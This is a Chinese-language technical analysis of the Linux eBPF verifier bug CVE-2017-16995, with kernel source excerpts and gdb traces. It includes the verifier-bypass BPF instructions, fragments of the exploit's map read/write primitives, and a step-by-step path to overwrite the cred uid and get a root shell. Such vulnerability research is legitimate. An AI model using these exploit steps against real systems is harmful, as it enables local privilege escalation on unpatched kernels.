CVE-2017-16995漏洞分析

实验环境

1
2
$ uname -a
Linux 4.8.17 #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

内核调试选择自己编译版本,没有使用安装版本。gdb插件使用gef插件。

漏洞原因分析

漏洞的原因是因为在做预检查的时候没有注意到两个参数类型不匹配。Bpf指令的校验是在函数do_check中,代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令。

1
2
3
4
5
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5. ...
  1. 第一条指令是个简单的赋值语句,把0xFFFFFFFF这个值赋值给r9.

  2. 第二条指令是个条件跳转指令,如果r9等于0xFFFFFFFF,则退出程序,终止执行;如果r9不等于0xFFFFFFFF,则跳过后面2条执行继续执行第5条指令。

  3. 虚拟执行的时候,do_check检测到第2条指令等式恒成立,所以认为BPF_JNE的跳转永远不会发生,第4条指令之后的指令永远不会执行,所以检测结束,do_check返回成功。

  4. 真实执行的时候,由于一个符号扩展的bug,导致第2条指令中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。

第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF)do_check中最终的赋值语句如下:

1
2
3
4
5
6
7
1514		} else {
1515 /* case: R = imm
1516 * remember the value we stored into this reg
1517 */
1518 regs[insn->dst_reg].type = CONST_IMM;
1519 regs[insn->dst_reg].imm = insn->imm;
1520 }

do_check()BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2)的检查操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    dst_reg = &regs[insn->dst_reg];

/* detect if R == 0 where R was initialized to zero earlier */
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
-> dst_reg->type == CONST_IMM && dst_reg->imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}

其中dst_reg为虚拟执行过程中的寄存器结构体,结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK | UNKNOWN_VALUE */
s64 imm;

/* valid when type == PTR_TO_PACKET* */
struct {
u32 id;
u16 off;
u16 range;
};

/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};

// define insn
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};

可以看到,在此处imm是一个有符号的64位整形。可以看到等号两侧的数据类型完全一致,都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。
而在具体执行中:

1
2
3
4
5
6
    763	 	JMP_JNE_K:
-> 764 if (DST != IMM) {
765 insn += insn->off;
766 CONT_JMP;
767 }
768 CONT;

其中DST为目标寄存器,IMM为立即数,我们跟进DST的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define DST	regs[insn->dst_reg]
#define SRC regs[insn->src_reg]

// define regs[], regs is u64
u64 regs[MAX_BPF_REG];

#define IMM insn->imm

struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};

很明显,等号两边的数据类型是不一致的,所以导致这里的条件跳转语句的结果完全相反。

do_check

1
2
3
4
5
6
7
8
9
10
11
12
<!--source:kernel/bpf/verifier.c+2419-->
2414 }
2415
2416 insn_idx += insn->off + 1;
2417 continue;
2418
-> 2419 } else if (opcode == BPF_EXIT) {
2420 if (BPF_SRC(insn->code) != BPF_K ||
2421 insn->imm != 0 ||
2422 insn->src_reg != BPF_REG_0 ||
2423 insn->dst_reg != BPF_REG_0) {
2424 verbose("BPF_EXIT uses reserved fields\n");
1
2
3
4
5
6
7
8
9
10
11
12
<!--source:kernel/bpf/verifier.c+2444-->
2439 verbose("R0 leaks addr as return value\n");
2440 return -EACCES;
2441 }
2442
2443 process_bpf_exit:
-> 2444 insn_idx = pop_stack(env, &prev_insn_idx);
2445 if (insn_idx < 0) {
2446 break;
2447 } else {
2448 do_print_state = true;
2449 continue;
1
gef> n
1
2
3
4
5
6
7
8
9
10
<!--source:kernel/bpf/verifier.c+2445-->
2443 process_bpf_exit:
2444 insn_idx = pop_stack(env, &prev_insn_idx);
// insn_idx=-0x1
-> 2445 if (insn_idx < 0) {
2446 break;
2447 } else {
2448 do_print_state = true;
2449 continue;
2450 }
1
2
gef> i r eax
eax 0xffffffff 0xffffffff

insn_idx小于0时,do_check()退出。

1
2
3
4
5
6
7
call trace
[#0] 0xffffffff811826bf → Name: do_check(env=0x0 <irq_stack_union>)
[#1] 0xffffffff81184e4e → Name: bpf_check(prog=0xffff880222703e00, attr=<optimized out>)
[#2] 0xffffffff81180794 → Name: bpf_prog_load(attr=0xffff880222703ee8)
[#3] 0xffffffff81180d1b → Name: SYSC_bpf(size=0x30, uattr=<optimized out>, cmd=<optimized out>)
[#4] 0xffffffff81180d1b → Name: SyS_bpf(cmd=0x5, uattr=0x7fff6c8ffa30, size=<optimized out>)
[#5] 0xffffffff818978b6 → Name: entry_SYSCALL_64()

pwn()

获取rbp指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");

static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);

return get_value(2);
}

#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();

static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

__get_fp()函数中,会进行三次__update_elem操作,操作后map会变成:

1
2
3
map[0] = 1  
map[1] = 0
map[2] = 0

在gdb调试过程中,对array_map_update_elem()下断点,该函数的主要作用是将map中的值更新,也就是写map操作;对array_map_lookup_elem()下断点,该函数的主要作用是取map中的值,也就是读map操作。
结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
array_map_update_elem (map=0xffff880228763080, key=0xffff8801eb387d58, value=0xffff8801eb387988, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u32 *)key
$9 = 0x0
gef➤ p *(u64 *)value
$11 = 0x1
...
array_map_update_elem (map=0xffff880228763080, key=0xffff8801eb387d58, value=0xffff8801eb387988, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u32 *)key
$14 = 0x1
gef➤ p *(u64 *)value
$15 = 0x0
...
array_map_update_elem (map=0xffff880228763080, key=0xffff8801ee2d2508, value=0xffff8801ee2d23d8, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u32 *)key
$16 = 0x2
gef➤ p *(u64 *)value
$17 = 0x0

# call trace
[#0] 0xffffffff81186fa0 → Name: array_map_update_elem(map=0xffff880228763080, key=0xffff8801ee2d2508, value=0xffff8801ee2d23d8, map_flags=0x0)
[#1] 0xffffffff81180f68 → Name: map_update_elem(attr=<optimized out>)
[#2] 0xffffffff81180f68 → Name: SYSC_bpf(size=<optimized out>, uattr=<optimized out>, cmd=<optimized out>)
[#3] 0xffffffff81180f68 → Name: SyS_bpf(cmd=<optimized out>, uattr=<optimized out>, size=<optimized out>)
[#4] 0xffffffff818978b6 → Name: entry_SYSCALL_64()

该操作在用户空间修改map的值,使map中的值为用户可控的值。
其中当map[0] = 1时,prog函数定义的代码将执行取rsp操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
array_map_lookup_elem (map=0xffff880228763080, key=0xffff880222703c7c) at kernel/bpf/arraymap.c:111
gef➤ p *(u32 *)key
$18 = 0x0
gef➤ finish
$rax : 0xffff8802287630e8 → 0x0000000000000001

array_map_lookup_elem (map=0xffff880228763080, key=0xffff880222703c7c) at kernel/bpf/arraymap.c:111
gef➤ p *(u32 *)key
$19 = 0x1
gef➤ finish
$rax : 0xffff8802287630f0 → 0x0000000000000000

array_map_lookup_elem (map=0xffff880228763080, key=0xffff880222703c7c) at kernel/bpf/arraymap.c:111
gef➤ p *(u32 *)key
$20 = 0x2
gef➤ finish
gef➤ ni
$rax : 0xffff8802287630f8 → 0x0000000000000000

# call trace
[#0] 0xffffffff81186f80 → Name: array_map_lookup_elem(map=0xffff880228763080, key=0xffff880222703c7c)
[#1] 0xffffffff81185670 → Name: bpf_map_lookup_elem(r1=<optimized out>, r2=<optimized out>, r3=<optimized out>, r4=<optimized out>, r5=<optimized out>)
[#2] 0xffffffff8117f5b6 → Name: __bpf_prog_run(ctx=<optimized out>, insn=0xffffc90001a50100)
[#3] 0xffffffff81794afc → Name: bpf_prog_run_save_cb(skb=<optimized out>, prog=<optimized out>)
[#4] 0xffffffff81794afc → Name: sk_filter_trim_cap(sk=<optimized out>, skb=0xffff880220cbe700, cap=0x0)
[#5] 0xffffffff818277ea → Name: sk_filter(skb=<optimized out>, sk=<optimized out>)
[#6] 0xffffffff818277ea → Name: unix_dgram_sendmsg(sock=0xffff880229876400, msg=<optimized out>, len=0x40)
[#7] 0xffffffff8175dab8 → Name: sock_sendmsg_nosec(msg=<optimized out>, sock=<optimized out>)
[#8] 0xffffffff8175dab8 → Name: sock_sendmsg(sock=0xffff880229876400, msg=0xffff880222703dc0)
[#9] 0xffffffff8175db55 → Name: sock_write_iter(iocb=<optimized out>, from=0xffff880222703e70)

下面代码展示了rax被赋值为rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  p *(const struct bpf_insn *)insn
$26 = {
code = 0x7b,
dst_reg = 0x2,
src_reg = 0xa,
off = 0x0,
imm = 0x0
}
# 该insn的代码为取rbp的代码块
# BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

在ebp中,BPF_REG_10寄存器代表栈帧寄存器,将BPF_REG_10的值复制到BPF_REG_2寄存器中,可以看做向map中写入了rbp的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# source
#define LDST(SIZEOP, SIZE) \
STX_MEM_##SIZEOP: \
*(SIZE *)(unsigned long) (DST + insn->off) = SRC; \
CONT; \
ST_MEM_##SIZEOP: \
*(SIZE *)(unsigned long) (DST + insn->off) = IMM; \
CONT; \
LDX_MEM_##SIZEOP: \
DST = *(SIZE *)(unsigned long) (SRC + insn->off); \
CONT;

LDST(B, u8)
LDST(H, u16)
LDST(W, u32)
LDST(DW, u64)

-> 847 LDST(DW, u64)

# dissamble
0xffffffff8117fc5d <__bpf_prog_run+3725> call 0xffffffff90f97f66
0xffffffff8117fc62 <__bpf_prog_run+3730> and eax, 0xf
-> 0xffffffff8117fc65 <__bpf_prog_run+3733> mov rax, QWORD PTR [rbp+rax*8-0x278]
0xffffffff8117fc6d <__bpf_prog_run+3741> mov rcx, QWORD PTR [rbp+rcx*8-0x278]
0xffffffff8117fc75 <__bpf_prog_run+3749> mov QWORD PTR [rcx+rdx*1], rax
0xffffffff8117fc79 <__bpf_prog_run+3753> movzx eax, BYTE PTR [rbx]
0xffffffff8117fc7c <__bpf_prog_run+3756> jmp QWORD PTR [r12+rax*8]
0xffffffff8117fc80 <__bpf_prog_run+3760> movzx eax, BYTE PTR [rbx+0x1]
0xffffffff8117fc84 <__bpf_prog_run+3764> movsx rdx, WORD PTR [rbx+0x2]
# 代码执行完毕
$rax : 0xffff880222703c80
$rsp : 0xffff880222703a20
$rbp : 0xffff880222703ca0

此时,eax的值将会返回到map[2]中。用户态通过调用lookup_elem()可以获得rbp的值。
然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000,然后构造读数据的map指令去读current中偏移为0的指针值(即为指向task_struct的指针)

1
2
3
4
5
array_map_update_elem (map=0xffff880228763080, key=0xffff8801eb387d58, value=0xffff8801eb387988, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u64 *)value
$34 = 0xffff880222700000
gef➤ x/10gx $34
0xffff880222700000: 0xffff880221998000 0x0000000000000000

此时,value的值是指向task_struct结构体的指针,通过构造读指令,可以讲value指向的地址中的内容读出,即:0xffff880221998000,该地址为task_struct的首地址,加上偏移可以获得指向cred的指针。

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  p *(*(struct task_struct *)(0xffff880221998000))->cred
$36 = {
usage = {
counter = 0x9
},
uid = {
val = 0x3e8
},
gid = {
val = 0x3e8
},
...

可知,uidcred结构体偏移为4的位置。构造写指令,向cred+4的位置写入0,即可完成提权操作。

总结

构造一下攻击路径:

  1. 申请一个MAP,长度为3;
  2. 这个MAP的第一个元素为操作指令,第2个元素为需要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC,3个元素组成一个控制指令。
  3. 组装一个指令,读取内核的栈地址。根据内核栈地址获取到current的地址。
  4. current结构体的第一个成员,或得task_struct的地址,继而加上cred的偏移得到cred地址,最终获取到uid的地址。
  5. 组装一个写指令,向上一步获取到的uid地址写入0.
  6. 启动新的bash进程,该进程的uid为0,提权成功。

参考资料